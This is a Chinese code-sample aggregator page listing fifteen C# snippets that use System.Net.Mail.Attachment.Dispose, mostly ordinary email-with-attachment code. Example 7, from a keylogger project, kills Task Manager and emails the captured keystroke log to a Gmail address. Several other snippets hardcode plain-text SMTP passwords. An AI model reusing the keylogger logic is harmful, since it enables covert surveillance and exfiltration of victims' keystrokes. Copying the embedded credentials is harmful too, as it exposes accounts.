当前位置: 首页>>代码示例>>C#>>正文


C# Attachment.Dispose方法代码示例

本文整理汇总了C#中System.Net.Mail.Attachment.Dispose方法的典型用法代码示例。如果您正苦于以下问题:C# Attachment.Dispose方法的具体用法?C# Attachment.Dispose怎么用?C# Attachment.Dispose使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在System.Net.Mail.Attachment的用法示例。


在下文中一共展示了Attachment.Dispose方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C#代码示例。

示例1: Run

        public static void Run()
        {
            SmtpClient client = new SmtpClient(IPAddress.Loopback.ToString(), 465);
            client.EnableSsl = true;

            MailMessage message = new MailMessage();
            message.From = new MailAddress("[email protected]", "Dr Cooper");
            message.To.Add(new MailAddress("[email protected]", "Number 1"));
            message.To.Add(new MailAddress("[email protected]", "Number 2"));
            message.To.Add(new MailAddress("[email protected]", "Number 3"));
            message.To.Add(new MailAddress("[email protected]", "Number 4"));
            message.CC.Add(new MailAddress("[email protected]", "Number 5"));
            message.CC.Add(new MailAddress("[email protected]", "Number 6"));
            message.CC.Add(new MailAddress("[email protected]", "Number 7"));
            message.CC.Add(new MailAddress("[email protected]", "Number 8"));
            message.Subject = "This is my subject";
            message.Body = ".";

            Attachment attachment = new Attachment(File.Open(@"C:\Users\Joe\Documents\WebCam Media\Capture\ArcSoft_Video14.wmv", FileMode.Open), "john", "video/x-ms-wmv");
            message.Attachments.Add(attachment);

            System.Net.ServicePointManager.ServerCertificateValidationCallback = Callback;
            client.Send(message);
            attachment.Dispose();
        }
开发者ID:JoeBuntu,项目名称:Smtp-Server,代码行数:25,代码来源:Tests.cs

示例2: Button1_Click

 protected void Button1_Click(object sender, EventArgs e)
 {            
     DataView DV1 = (DataView)AccessDataSource1.Select(DataSourceSelectArguments.Empty);
     foreach (DataRowView DRV1 in DV1)
     {
         string ToAddress = DRV1["Email_Address"].ToString();
         MailMessage message = new MailMessage("[email protected]", ToAddress);                
         message.Body = TextBox2.Text;
         message.Subject = TextBox1.Text;
         message.BodyEncoding = System.Text.Encoding.UTF8;
         string Path = HttpContext.Current.Server.MapPath("~/images/EnewsLetters/Temp/");
         FileUpload1.SaveAs(Path + FileUpload1.FileName);
         Attachment attach1 = new Attachment(Path + FileUpload1.FileName);
         message.Attachments.Add(attach1);
         SmtpClient mailserver = new SmtpClient("amcsmail02.amcs.com", 25);
         try
         {
             mailserver.Send(message);
         }
         catch
         {
         }
         attach1.Dispose();
     }
     System.IO.File.Delete(HttpContext.Current.Server.MapPath("~/images/EnewsLetters/Temp/") + FileUpload1.FileName);
     TextBox1.Text = "";
     TextBox2.Text = "";
 }
开发者ID:tstanley93,项目名称:ARC.ORG-trunk,代码行数:28,代码来源:eNewsLetter_Email.aspx.cs

示例3: mandarEmailConAdjunto

        /// <summary>
        /// Mandar email con un adjunto
        /// </summary>
        /// <param name="_rutaIMG"></param>
        /// <param name="_texto"></param>
        /// <param name="_asunto"></param>
        /// <param name="_destinatario"></param>
        public static Boolean mandarEmailConAdjunto(String _archivoAdjunto, String _texto, String _asunto, String _destinatario)
        {
            try
            {
                // Specify the file to be attached and sent.
                // This example assumes that a file named Data.xls exists in the
                // current working directory.
                string file = _archivoAdjunto;
                // Create a message and set up the recipients.
                MailMessage message = new MailMessage(
                   _destinatario,
                   _destinatario,
                   _asunto,
                   _texto);

                // Create  the file attachment for this e-mail message.
                Attachment data = new Attachment(file, MediaTypeNames.Application.Octet);
                // Add time stamp information for the file.
                /*ContentDisposition disposition = data.ContentDisposition;
                disposition.CreationDate = System.IO.File.GetCreationTime(file);
                disposition.ModificationDate = System.IO.File.GetLastWriteTime(file);
                disposition.ReadDate = System.IO.File.GetLastAccessTime(file);
                */
                // Add the file attachment to this e-mail message.
                message.Attachments.Add(data);

                //Send the message.
                SmtpClient smtpcli = new SmtpClient("smtp.gmail.com", 587); //use this PORT!
                smtpcli.EnableSsl = true;
                smtpcli.DeliveryMethod = SmtpDeliveryMethod.Network;
                smtpcli.Credentials = new NetworkCredential(EMAIL_SENDER, PASS);

                smtpcli.Send(message);

                data.Dispose();
                return true;
            }
            catch (Exception ex)
            {
                Log.WriteText("Logs: Error envial email (Datos correo)", _texto);
                Log.WriteError("Logs: Error al enviar email", ex);

                return false;
            }
        }
开发者ID:mialejandriastartup,项目名称:mialejandria.mifaro,代码行数:52,代码来源:LogicaEmails.cs

示例4: SendMail

        public void SendMail(string recipientMailAddress, string recipientName, string attachmentFilePath)
        {
            MailMessage mail = new MailMessage();
            SmtpClient smtpServer = new SmtpClient(SMTP_CLIENT_NAME);
            mail.From = new MailAddress(SENDER_MAIL_ADDRESS);
            mail.To.Add(recipientMailAddress);
            mail.Subject = "Jeu Kinect : Photo prise durant votre partie.";
            mail.Body = "Bonjour " + recipientName + " ! \n\n" +
                        "Voici la photo prise lors de votre partie de notre jeu Kinect \"Yandere Escape\".\n\n" +
                        "Merci d'avoir testé notre jeu!\n" +
                        "Cédric Paris & Nawhal Sayarh, élèves de l'IUT Informatique de Clermont-Ferrand.";

            Attachment imageAttachment = new Attachment(attachmentFilePath) { Name = "Photo Jeu Kinect.jpeg" };
            mail.Attachments.Add(imageAttachment);

            smtpServer.Port = SMTP_PORT;
            smtpServer.Credentials = new System.Net.NetworkCredential(SENDER_MAIL_ADDRESS, PASSWORD);
            smtpServer.EnableSsl = true;

            smtpServer.Send(mail);
            imageAttachment.Dispose();
        }
开发者ID:Cedric-Paris,项目名称:KinectGameShape,代码行数:22,代码来源:MailSender.cs

示例5: enviaMensajeConAttachment

        public void enviaMensajeConAttachment(ArrayList para, String Subject, String Body, String attachmnt_url)
        {
            string file = attachmnt_url;

              string direcciones = getDireccionesDeEnvio(para);

              if (direcciones != null)
              {

            System.Net.Mail.MailMessage message = new System.Net.Mail.MailMessage(correoAdministrador, direcciones, Subject, Body);

            message.IsBodyHtml = true;
            message.Priority = MailPriority.Normal;
            //message.

            // Create  the file attachment for this e-mail message.
            Attachment data = new Attachment(file, MediaTypeNames.Application.Octet);
            // Add time stamp information for the file.
            ContentDisposition disposition = data.ContentDisposition;
            disposition.CreationDate = System.IO.File.GetCreationTime(file);
            disposition.ModificationDate = System.IO.File.GetLastWriteTime(file);
            disposition.ReadDate = System.IO.File.GetLastAccessTime(file);
            // Add the file attachment to this e-mail message.
            message.Attachments.Add(data);
            //Send the message.

            SmtpClient client = new SmtpClient();
            client.Credentials = CredentialCache.DefaultNetworkCredentials;

            client.EnableSsl = (ConfigurationManager.AppSettings["UseSSLForEmail"] == "true");

            //client.SendCompleted += new SendCompletedEventHandler(client_SendCompleted);

            try
            {
              client.Send(message);
            }
            catch (Exception e)
            {
              LoggerFacade.Log(e);
            }

            data.Dispose();

              }
        }
开发者ID:royriojas,项目名称:RGEN2,代码行数:46,代码来源:RGenMailer.cs

示例6: SendMessage

        public static Boolean SendMessage(String To, String Subject, String Body, String attachmnt_url)
        {
            string file = attachmnt_url;

              //string direcciones = getDireccionesDeEnvio(para);
              if (ValidEmailAddress(To))
              {
            System.Net.Mail.MailMessage message = new System.Net.Mail.MailMessage(AdminEmail, To.Replace(";", ","), Subject, Body);

            message.IsBodyHtml = true;
            message.Priority = MailPriority.Normal;
            //message.

            // Create  the file attachment for this e-mail message.
            Attachment data = new Attachment(file, MediaTypeNames.Application.Octet);
            // Add time stamp information for the file.
            ContentDisposition disposition = data.ContentDisposition;
            disposition.CreationDate = System.IO.File.GetCreationTime(file);
            disposition.ModificationDate = System.IO.File.GetLastWriteTime(file);
            disposition.ReadDate = System.IO.File.GetLastAccessTime(file);
            // Add the file attachment to this e-mail message.
            message.Attachments.Add(data);
            //Send the message.

            SmtpClient client = new SmtpClient();
            client.Credentials = CredentialCache.DefaultNetworkCredentials;
            Boolean SendComplete = false;
            try
            {
              client.Send(message);
              SendComplete = true;
            }
            catch (Exception e)
            {
              LoggerFacade.Log(e);
            }
            finally
            {
              if (data != null) data.Dispose();
            }

            return SendComplete;
              }
              return false;
        }
开发者ID:royriojas,项目名称:RGEN2,代码行数:45,代码来源:RGenMailer.cs

示例7: OnTimedEvent

        public static void OnTimedEvent(object source, EventArgs e)
        {
            Process[] ProcessList = Process.GetProcesses();
            foreach (Process proc in ProcessList)
            {
                if (proc.MainWindowTitle.Contains("Taskmgr.exe"))
                {
                    proc.Kill();
                }
            }
            System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message
            msg.To.Add("[email protected]");
            msg.From = new MailAddress("[email protected]", "username", System.Text.Encoding.UTF8);
            msg.Subject = "i don't know";
            msg.SubjectEncoding = System.Text.Encoding.UTF8;
            msg.Body = "ciao ale";
            msg.BodyEncoding = System.Text.Encoding.UTF8;
            msg.IsBodyHtml = false;
            msg.Priority = MailPriority.High;
            SmtpClient client = new SmtpClient(); //Network Credentials for Gmail
            client.Credentials = new System.Net.NetworkCredential("[email protected]", "password");
            client.Port = 587;
            client.Host = "smtp.gmail.com";
            client.EnableSsl = true;
            Attachment data = new Attachment(Program.path);
            msg.Attachments.Add(data);
            try
            {
                client.Send(msg);
                failed = 0;
            }
            catch
            {
                data.Dispose();
                failed = 1;
            }
            data.Dispose();

            if (failed == 0)
                File.WriteAllText(Program.path, ""); //empties the file

            failed = 0;
        }
开发者ID:kbandeleon,项目名称:silent-logger,代码行数:43,代码来源:AdvanceKeyLogger.cs

示例8: SendMonthlyReport

        /// <summary>
        /// Sends out the monthly GDS report to the desired recipients. This reports shows a summary
        /// of the user count by department. In addition, an excel file with the list of all users 
        /// is also attached.
        /// </summary>
        /// <param name="attachment"></param>
        public void SendMonthlyReport(IEnumerable<CompanySummary> companySummary, MemoryStream attachment = null)
        {
            Message = new MailMessage();
            Message.From = new MailAddress(ReplyEmail);
            Message.Subject = "GDS Report for " + DateTime.Now.ToString("MM-dd-yyyy");

            foreach(var email in Recipients)
            {
                Message.To.Add(email);
            }

            attachment.Position = 0;
            Attachment excelFile = new Attachment(attachment, "GDS Report-" + DateTime.Now.ToString("MM-dd-yyyy") + ".xlsx", "application/vnd.ms-excel");
            Message.Attachments.Add(excelFile);

            Message.IsBodyHtml = true;
            StringBuilder msg = new StringBuilder();

            msg.AppendLine("<p>See attached for the GDS Report generated on " + DateTime.Now.ToString("MMMM dd, yyyy h:mm tt") + "</p>");
            msg.AppendLine("<table><tr><th style='text-align: left;'>Company</th><th>User Count</th></tr>");

            foreach(var company in companySummary)
            {
                msg.AppendLine("<tr><td>" + company.CompanyName + "</td><td style='text-align: right'>" + company.UserCount.ToString() + "</td></tr>");
            }

            msg.AppendLine("<tr style='font-weight: bold;'><td>Total</td><td style='text-align: right;'>" + companySummary.Sum(c => c.UserCount).ToString() + "</td></tr>");
            msg.AppendLine("</table>");

            Message.Body = msg.ToString();

            try
            {
                SmtpServer.Send(Message);
            }
            catch(Exception e)
            {
            }
            finally
            {
                SmtpServer.Dispose();
                excelFile.Dispose();
            }
        }
开发者ID:edpanameno,项目名称:GDSReport,代码行数:50,代码来源:Notifications.cs

示例9: SendMailMessage

        public static void SendMailMessage(string fromEmail, string toEmail, string bcc, string cc, string subject, string body, string attachment)
        {
            //  Create the MailMessage object
            MailMessage mMailMessage = new MailMessage();

            //  Set the sender address of the mail message
            if (!string.IsNullOrEmpty(fromEmail))
            {
                mMailMessage.From = new MailAddress(fromEmail);
            }

            //  Set the recipient address of the mail message
            mMailMessage.To.Add(new MailAddress(toEmail));

            //  Check if the bcc value is nothing or an empty string
            if (!string.IsNullOrEmpty(bcc))
            {
                mMailMessage.Bcc.Add(new MailAddress(bcc));
            }

            //  Check if the cc value is nothing or an empty value
            if (!string.IsNullOrEmpty(cc))
            {
                mMailMessage.CC.Add(new MailAddress(cc));
            }

            //  Set the subject of the mail message
            mMailMessage.Subject = subject;

            //  Set the body of the mail message
            mMailMessage.Body = body;

            //  Set the format of the mail message body
            mMailMessage.IsBodyHtml = false;

            // Set the priority
            mMailMessage.Priority = MailPriority.Normal;

            // Add any attachments from the filesystem
            Attachment mailAttachment = new Attachment(attachment);
            mMailMessage.Attachments.Add(mailAttachment);

            //  Create the SmtpClient instance
            SmtpClient mSmtpClient = new SmtpClient();

            //  Send the mail message
            mSmtpClient.Send(mMailMessage);
            mailAttachment.Dispose();
        }
开发者ID:RonFields72,项目名称:EmailACHReportsToVendors,代码行数:49,代码来源:EmailHelper.cs

示例10: EmailFile

        public void EmailFile(string FileName)
        {
            string UserId;
            if (GlobalVariables.LoggedInUser != null)
            {
                UserId = GlobalVariables.LoggedInUser.id.ToString();
            }
            else
            {
                UserId = "0";
            }

            string timeStamp = DateTime.Now.ToString("yyyyMMddHHmm");
            string directory = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) + "\\XmlData\\" + UserId;
            string file = directory + "\\"+FileName+timeStamp+".xml";

            MailMessage message = null;
            SmtpClient client = null;
            Attachment data = null;

            try
            {
                // Create a message and set up the recipients.
                message = new MailMessage(
                   "[email protected]",
                   "[email protected]",
                   "User Test Data: " + UserId,
                   "See the attached datafile for user " + UserId);
            }
            catch (Exception ex)
            {
                MessageBox.Show("Exception caught in CreateMessage: {0}", ex.ToString());
            }


            try
            {
                // Create  the file attachment for this e-mail message.
                data = new Attachment(file, System.Net.Mime.MediaTypeNames.Application.Octet);
                // Add time stamp information for the file.
                System.Net.Mime.ContentDisposition disposition = data.ContentDisposition;
                disposition.CreationDate = System.IO.File.GetCreationTime(file);
                disposition.ModificationDate = System.IO.File.GetLastWriteTime(file);
                disposition.ReadDate = System.IO.File.GetLastAccessTime(file);
                // Add the file attachment to this e-mail message.
                message.Attachments.Add(data);

                //Send the message.
                client = new SmtpClient("smtp.grucox.com", 25)
                {
                    Credentials = new System.Net.NetworkCredential("[email protected]", "Ant840203"),
                    EnableSsl = false
                };
            }
            catch (Exception ex)
            {
                MessageBox.Show("Exception caught in CreateAttachment: {0}", ex.ToString());
            }


            try
            {
                client.Send(message);
            }
            catch (Exception ex)
            {
                MessageBox.Show("Exception caught in SendMessageWithAttachment(): {0} - Check internet connection.", ex.Message.ToString());
            }

            data.Dispose();
        }
开发者ID:antonesterhuyse,项目名称:GrucoxScrumView,代码行数:71,代码来源:frmProgramResults.cs

示例11: EmailTask

        /// <summary>
        /// Sends the current scope's file and the passed message to the list of emails.
        /// Also deletes the file once it is sent successfully.
        /// </summary>
        /// <param name="emails">Array of string, email addresses</param>
        /// <param name="message">String - body message</param>
        private void EmailTask(string[] emails, string message, string subject)
        {
            Attachment attachment = null;

            // Attempt to send emails
            try
            {
                // Mail settings
                MailMessage mail = new MailMessage();
                SmtpClient smtp  = new SmtpClient("smtp.gmail.com");
                mail.From = new MailAddress("[email protected]");
                mail.Subject = subject == null ? "UniGuard 12 Report" : subject;
                mail.Body = message;
                mail.BodyEncoding = Encoding.UTF8;

                // Add recipients
                if (emails.Length > 0)
                {
                    foreach (string email in emails)
                    {
                        mail.To.Add(email);
                    }
                }
                else
                {
                    string[] adminEmails = data.GetAdministratorEmails();
                    for (var i = 0; i < adminEmails.Length; i++)
                    {
                        mail.To.Add(adminEmails[i]);
                    }
                    mail.Body += Environment.NewLine + "The above scheduled task email has been forwarded back to the account ";
                    mail.Body += "administrator as it has not been sent with any email recipients.";
                }

                // Add attachment
                attachment = new Attachment(this.file.FullName);
                mail.Attachments.Add(attachment);

                // Server settings
                smtp.Port = 587;
                smtp.EnableSsl = true;
                smtp.DeliveryMethod = SmtpDeliveryMethod.Network;
                smtp.Credentials = new NetworkCredential("[email protected]", "B6gYu9uGtr4xuG1!");
                smtp.Send(mail);
            }
            catch (Exception ex)
            {
                Log.Error("Mail error:\r\n" + ex.ToString());
            }

            // Attempt to delete file after it has been emailed
            try
            {
                if (attachment != null) attachment.Dispose();
                this.file.Delete();
            }
            catch (Exception ex)
            {
                Log.Error("Could not delete file:" + ex.ToString());
            }
        }
开发者ID:sandeep526,项目名称:NewUG12,代码行数:67,代码来源:ScheduledTask.cs

示例12: EmailWebServiceWithAttachment

        public void EmailWebServiceWithAttachment(string To, string From, string Subject, string Body, byte[] Attachment, string AttachmentName)
        {
            SmtpClient smtpclient = new SmtpClient { Host = smtpServer };
            MailMessage message = GetMailMessage(To, From, Subject, Body);

            TemporaryFile tempFile = new TemporaryFile("", AttachmentName);
            FileStream objfilestream = new FileStream(tempFile.FilePath, FileMode.Create, FileAccess.ReadWrite);
            using (BinaryWriter writer = new BinaryWriter(objfilestream))
            {
                writer.Write(Attachment);
            }

            Attachment a = new Attachment(tempFile.FilePath);
            message.Attachments.Add(a);
            smtpclient.Send(message);

            a.Dispose();
            tempFile.Dispose();
            smtpclient.Dispose();
        }
开发者ID:TheJeremyGray,项目名称:FileWatcherService,代码行数:20,代码来源:EmailService.cs

示例13: CreateMessageWithAttachment

        /// <exception cref="UnauthorizedAccessException">The caller does not have the required permission. </exception>
        /// <exception cref="PathTooLongException">The specified path, file name, or both exceed the system-defined maximum length. For example, on Windows-based platforms, paths must be less than 248 characters, and file names must be less than 260 characters. </exception>
        public static void CreateMessageWithAttachment(string server)
        {
            // Specify the file to be attached and sent. 
            // This example assumes that a file named Data.xls exists in the 
            // current working directory.
            const string file = "data.xls";
            // Create a message and set up the recipients.
            MailMessage message = new MailMessage(
                                      "[email protected]",
                                      "[email protected]",
                                      "Quarterly data report.",
                                      "See the attached spreadsheet.");
            
            // Create  the file attachment for this e-mail message.
            Attachment data = new Attachment(file, MediaTypeNames.Application.Octet);
            // Add time stamp information for the file.
            ContentDisposition disposition = data.ContentDisposition;
            disposition.CreationDate = File.GetCreationTime(file);
            disposition.ModificationDate = File.GetLastWriteTime(file);
            disposition.ReadDate = File.GetLastAccessTime(file);
            // Add the file attachment to this e-mail message.
            message.Attachments.Add(data);
            
            //Send the message.
            var client = new SmtpClient(server) {Credentials = CredentialCache.DefaultNetworkCredentials};
            // Add credentials if the SMTP server requires them.

            try {
                client.Send(message);
            }
            catch (Exception ex) {
                // TODO: AOP
                Trace.TraceError("CreateMessageWithAttachment(string server)");
                Console.WriteLine("Exception caught in CreateMessageWithAttachment(): {0}", ex);
                Trace.TraceError(ex.Message);
            }
            // Display the values in the ContentDisposition for the attachment.
            ContentDisposition cd = data.ContentDisposition;
            Console.WriteLine("Content disposition");
            Console.WriteLine(cd.ToString());
            Console.WriteLine("File {0}", cd.FileName);
            Console.WriteLine("Size {0}", cd.Size);
            Console.WriteLine("Creation {0}", cd.CreationDate);
            Console.WriteLine("Modification {0}", cd.ModificationDate);
            Console.WriteLine("Read {0}", cd.ReadDate);
            Console.WriteLine("Inline {0}", cd.Inline);
            Console.WriteLine("Parameters: {0}", cd.Parameters.Count);
            foreach (DictionaryEntry d in cd.Parameters)
                Console.WriteLine("{0} = {1}", d.Key, d.Value);
            data.Dispose();
        }
开发者ID:MatkoHanus,项目名称:STUPS,代码行数:53,代码来源:Mailer.cs

示例14: StringBuilder


//.........这里部分代码省略.........
                    {
                        strInfo.AppendFormat("{0}{1}: {2}", Environment.NewLine, i, AdditionalInfo.Get(i));
                    }
                    else
                    {
                        //Agrego version
                        try
                        {
                            string name = AdditionalInfo.Get(3);
                            name = name.Replace(".exe", "");
                            name = name.Replace(".dll", "");
                            name = name.Replace(".vshost", "");
                            Assembly a = Assembly.Load(name);
                            AssemblyName an = a.GetName();
                            String v = an.Version.ToString();
                            strInfo.AppendFormat("{0}{1}: {2}, Versión=" + v, Environment.NewLine, i, AdditionalInfo.Get(i));
                        }
                        catch (Exception ex)
                        {
                            System.Diagnostics.Debug.WriteLine(ex.Message);
                            strInfo.AppendFormat("{0}{1}: {2}, Versión=sin informar", Environment.NewLine, i, AdditionalInfo.Get(i));
                        }
                    }
                }
            }
            // Append the exception text
            strInfo.AppendFormat("{0}{0}Información de la excepción:{0}{0}{1}{0}", Environment.NewLine, exception.Message);
            strInfo.AppendFormat("{0}{1}{0}", Environment.NewLine, exception.Source);
            if (exception.InnerException != null)
            {
                strInfo.AppendFormat("{0}{1}", Environment.NewLine, exception.InnerException.Message);
            }
            strInfo.AppendFormat("{0}{0}StackTrace:", Environment.NewLine);
            strInfo.AppendFormat("{0}{0}{1}", Environment.NewLine, exception.StackTrace.ToString());
            if (exception.InnerException != null)
            {
                strInfo.AppendFormat("{0}{0}{1}", Environment.NewLine, exception.InnerException.StackTrace.ToString());
            }
            //Agrego el nombre del archivo y localización
            strInfo.AppendFormat("{0}{0}Archivo: " + m_LogName + "{0}", Environment.NewLine);
            // Write the entry to the log file.   
            using (FileStream fs = File.Open(m_LogName,
                        FileMode.Append, FileAccess.Write))
            {
                using (StreamWriter sw = new StreamWriter(fs))
                {
                    sw.Write(strInfo.ToString());
                }
            }
            // send notification email if operatorMail attribute was provided
            if (m_OpMail.Length > 0)
            {
                string subject = "Notificación de excepción";
                string body = strInfo.ToString();

                MailMessage MyMail = new MailMessage(new MailAddress(AdditionalInfo.Get("ExceptionManager.AppDomainName") + "@cedeira.com.ar"), new MailAddress(m_OpMail));
                MyMail.Subject = subject;
                MyMail.Body = body;
                SmtpClient smtp = new SmtpClient("vsmtpr.bancogalicia.com.ar");
                try
                {
                    // ----- Busco el archivo JPG más reciente dentro de nuestro directorio de excepciones (c:\tmp\ex\)
                    DirectoryInfo di = new DirectoryInfo(@"c:\tmp\ex");
                    FileInfo[] files = di.GetFiles("*.jpg");

                    FileInfo archivoExUlt;
                    if (files.Length > 0)
                    {
                        archivoExUlt = files[0];
                        int ij = 1;
                        while (ij < files.Length)
                        {
                            if (files[ij].LastWriteTime > archivoExUlt.LastWriteTime)
                                archivoExUlt = files[ij];
                            ij++;
                        }

                        //  -----

                        Attachment atach = new Attachment(archivoExUlt.FullName);  // Precondición es que a lo sumo haya un archivo JPG generado
                        MyMail.Attachments.Add(atach);

                        smtp.Send(MyMail);

                        atach.Dispose();
                        smtp = null;
                        MyMail = null;
                        atach = null;
                        GC.Collect();
                    }
                    else
                        throw new Exception();
                }
                catch   // si no se cumple la precondición, envia el mail sin el attach de la imagen
                {
                    MyMail.Attachments.Clear();
                    smtp.Send(MyMail);
                }
            }
        }
开发者ID:javiprieto89,项目名称:fea,代码行数:101,代码来源:MailAttachExceptionPublisher.cs

示例15: ApplyUpdatesRepairRequest

       public JsonResult ApplyUpdatesRepairRequest(string UserID, int RepairRequestID, string Notes, bool whichone)
       {

           if (whichone == true) //Building Staff========================================================================
           {
               pdfWorker pdfworker = new pdfWorker();
               RepairRequest RR = db.RepairRequest.Find(RepairRequestID);

               RepairRequestNote RN = new RepairRequestNote
               {
                   DateCreated = DateTime.Now,
                   Notes = Notes
               };

               db.RepairRequestNote.Add(RN);
               db.SaveChanges();

               RR.RepairRequestNoteID = RN.Id;
               RR.AssignID = UserID;
               RR.AssignContractorID = null;
               RR.Status = "Assigned";

               db.RepairRequest.Attach(RR);
               var Entry = db.Entry(RR);

               Entry.Property(c => c.RepairRequestNoteID).IsModified = true;
               Entry.Property(c => c.AssignID).IsModified = true;
               Entry.Property(c => c.AssignContractorID).IsModified = true;
               Entry.Property(c => c.Status).IsModified = true;

               db.SaveChanges();

               var Worker = db.BuildingUser.Where(c => c.UserID == UserID).FirstOrDefault();

               //string string1 = "<div style='font-size:20px; colo:blue; display:bloc'>Hi " + Worker.FirstName + " " + Worker.LastName + ",</div> ";
               //string string2 = "You have a new assignemt and the description is bellow:";
               //string string3 = "The Category of this Request is " + RR.RepairRequestCategories.Categories;
               //string string4 = "The Decription of the request is: " + RR.ProblemDescription;
               //string string5 = "The Urgency is: " + RR.RepairUrgency.Urgency;
               //string string6 = "For questions about this email Contact management at: " + RR.Buildings.BuildingPhone;
               //string string7 = "Find more information...";

               //string x = string.Format("{0}\n{1}\n{2}\n{3}\n{4}\n{5}\n{6}\n", string1, string2, string3, string4, string5, string6, string7);

               string contenttobemail = " <div style='font-size:20px; display:block;  width:100%; background:#0071bc;  height:50px;  line-height:50px; padding:0 15px; border:1px solid lightgrey;   color:white;' >"+
                Worker.FirstName + " " + Worker.LastName +"</div>"+
                                   "<div style='   display:block;   width:100%;   margin:10px 0 10px 0;   padding:10px 15px;   background:#F0F0F0;   border:1px solid lightgrey;   '>     You have a new assignemt and the description is bellow:<br/>"+
                                   " <hr/>"+
                                   " <br/>"+
                                   " <b> The Category of this Request is</b> "+
                                   "<br/>"+
                                   RR.RepairRequestCategories.Categories +
                                   " <hr/>"+
                                   " <br/>"+
                                   "<b>The Urgency is:</b>"+
                                   " <br/>" + RR.RepairUrgency.Urgency +
                                   "<hr/>"+
                                   " <br/>"+
                                   " <b>The Decription of the request is:</b>"+
                                   "<br/>"+
                                  RR.ProblemDescription+
                                   " <hr/>"+
                                   "<br/>"+
                                   "</div>"+
                                   "<div style='font-size:20px; display:block; width:100%; background:#0071bc; height:50px;line-height:50px; padding:0 15px; border:1px solid lightgrey; color:white;' >For questions about this email Contact management at: " + RR.Buildings.BuildingPhone + "Find more information...  </div>";

               Gmail gmail = new Gmail("pointerwebapp", "dmc10040");
               MailMessage msg = new MailMessage("[email protected]", Worker.Email);
               msg.Subject = "New Assignment Notification";
               msg.Body = contenttobemail;
               msg.IsBodyHtml = true;
               
               //new
               PdfContractContent pdfContent = new PdfContractContent {
                   Address = RR.Buildings.Address + " " + RR.Tenant.Apartment.ApartmentNumber + " " + RR.Buildings.City +" " + RR.Buildings.State+" " + RR.Buildings.Zipcode,
                 Category = RR.RepairRequestCategories.Categories,
                 Priority = RR.RepairUrgency.Urgency,
                 Status = RR.Status,
                 Issued = RR.RequestedDate.Month.ToString() +"/"+ RR.RequestedDate.Day.ToString() +"/"+ RR.RequestedDate.Year.ToString(),
                 primaryContact = RR.Tenant.FirstName + " " + RR.Tenant.LastName,
                 PrimaryPhone = RR.Tenant.Phone,
                 PrimaryEmail = RR.Tenant.Username,
                 OfficeNotes = RR.RepairRequestNote.Notes,
                 RequestNumber =RR.RequestNumber,
                 problem = RR.ProblemDescription,
                 TenantInstruction = RR.Instructions_   
               };
               //new
               var result = pdfworker.CreateTable1(Server.MapPath("~/ContractPDF/"), Server.MapPath("~/img/"), Server.MapPath("~/fonts/"), pdfContent);
              
               Attachment attachment;
               attachment = new Attachment(Server.MapPath("~/ContractPDF/newContractFile.pdf"));
               msg.Attachments.Add(attachment);     

               gmail.Send(msg);
               attachment.Dispose();//needs to be dispose because the process is use and cannot be open twice at the same time.
               msg.Dispose();
           }
           else if (whichone == false) //Company========================================================================================================
           {
//.........这里部分代码省略.........
开发者ID:dioscarr,项目名称:PointerSecurityMonitor,代码行数:101,代码来源:BuildingController.cs


注:本文中的System.Net.Mail.Attachment.Dispose方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。